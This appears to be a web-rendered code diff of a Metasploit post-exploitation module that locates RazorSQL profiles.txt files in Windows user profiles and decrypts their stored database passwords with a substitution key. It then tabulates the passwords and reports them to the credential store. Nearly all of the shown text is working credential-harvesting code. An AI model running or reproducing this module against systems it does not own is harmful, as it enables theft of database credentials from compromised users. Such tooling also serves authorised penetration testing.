9
9
10
10
class Metasploit3 < Msf ::Post
11
11
12
+ include Msf ::Post ::File
12
13
include Msf ::Auxiliary ::Report
13
14
include Msf ::Post ::Windows ::UserProfiles
14
15
@@ -30,6 +31,48 @@ def initialize(info={})
30
31
) )
31
32
end
32
33
34
+ def get_profiles
35
+ profiles = [ ]
36
+ grab_user_profiles . each do |user |
37
+ next unless user [ 'ProfileDir' ]
38
+ [ '.razorsql\\data\\profiles.txt' , 'AppData\Roaming\RazorSQL\data\profiles.txt' ] . each do |profile_path |
39
+ file = "#{ user [ 'ProfileDir' ] } \\ #{ profile_path } "
40
+ profiles << file if file? ( file )
41
+ end
42
+ end
43
+
44
+ profiles
45
+ end
46
+
47
+
48
+ def report_cred ( opts )
49
+ service_data = {
50
+ address : opts [ :ip ] ,
51
+ port : opts [ :port ] ,
52
+ service_name : opts [ :service_name ] ,
53
+ protocol : 'tcp' ,
54
+ workspace_id : myworkspace_id
55
+ }
56
+
57
+ credential_data = {
58
+ module_fullname : fullname ,
59
+ post_reference_name : self . refname ,
60
+ session_id : session_db_id ,
61
+ origin_type : :session ,
62
+ private_data : opts [ :password ] ,
63
+ private_type : :password ,
64
+ username : opts [ :user ]
65
+ } . merge ( service_data )
66
+
67
+ login_data = {
68
+ core : create_credential ( credential_data ) ,
69
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
70
+ } . merge ( service_data )
71
+
72
+ create_credential_login ( login_data )
73
+ end
74
+
75
+
33
76
def run
34
77
print_status ( "Checking All Users..." )
35
78
creds_tbl = Rex ::Ui ::Text ::Table . new (
@@ -47,19 +90,17 @@ def run
47
90
]
48
91
)
49
92
50
- grab_user_profiles ( ) . each do |user |
51
- next if user [ 'ProfileDir' ] == nil
52
- file = user [ 'ProfileDir' ] + "\\ .razorsql\\ data\\ profiles.txt"
53
- content = get_content ( file )
54
- if content and not content . empty?
55
- creds = parse_content ( creds_tbl , content , user [ 'UserName' ] )
56
- creds . each do |c |
57
- creds_tbl << c
58
- end
93
+ get_profiles . each do |profile_path |
94
+ content = get_content ( profile_path )
95
+ next if content . blank?
96
+ parse_content ( creds_tbl , content ) . each do |cred |
97
+ creds_tbl << cred
59
98
end
60
99
end
61
100
62
- if not creds_tbl . rows . empty?
101
+ if creds_tbl . rows . empty?
102
+ print_status ( "No creds collected." )
103
+ else
63
104
path = store_loot (
64
105
'razor.user.creds' ,
65
106
'text/csv' ,
@@ -70,8 +111,6 @@ def run
70
111
)
71
112
print_line ( creds_tbl . to_s )
72
113
print_status ( "User credentials stored in: #{ path } " )
73
- else
74
- print_error ( "No data collected" )
75
114
end
76
115
end
77
116
@@ -86,9 +125,8 @@ def get_content(file)
86
125
return content
87
126
end
88
127
89
- def parse_content ( table , content , username )
128
+ def parse_content ( table , content )
90
129
creds = [ ]
91
- print_line ( "Account: #{ username } \n " )
92
130
content = content . split ( /\( \( Z~\] / )
93
131
content . each do |db |
94
132
database = ( db . scan ( /database=(.*)/ ) . flatten [ 0 ] || '' ) . strip
@@ -100,19 +138,22 @@ def parse_content(table, content, username)
100
138
pass = ( db . scan ( /password=(.*)/ ) . flatten [ 0 ] ||'' ) . strip
101
139
102
140
# Decrypt if there's a password
103
- pass = decrypt ( pass ) if not pass . empty?
141
+ decrypted_pass = decrypt ( pass ) unless pass . blank?
142
+
143
+ pass = decrypted_pass ? decrypted_pass : pass
104
144
105
145
# Store data
106
146
creds << [ user , pass , type , host , port , dbname , database ]
107
147
108
- # Reort auth info while dumping data
109
- report_auth_info (
110
- :host => host ,
111
- :port => port ,
112
- :sname => database ,
113
- :user => user ,
114
- :pass => pass ,
115
- :type => 'password'
148
+ # Don't report if there's nothing to report
149
+ next if user . blank? && pass . blank?
150
+
151
+ report_cred (
152
+ ip : rhost ,
153
+ port : port . to_i ,
154
+ service_name : database ,
155
+ user : user ,
156
+ password : pass
116
157
)
117
158
end
118
159
@@ -140,10 +181,16 @@ def decrypt( encrypted_password )
140
181
"a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , "{" => "{" ,
141
182
"}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , "`" => "`"
142
183
}
143
- password = ''
184
+ password = ''
144
185
for letter in encrypted_password . chomp . each_char
145
- password << magic_key [ letter ]
186
+ char = magic_key [ letter ]
187
+
188
+ # If there's a nil, it indicates our decryption method does not work for this version.
189
+ return nil if char . nil?
190
+
191
+ password << char
146
192
end
193
+
147
194
return password
148
195
end
149
196
end
0 commit comments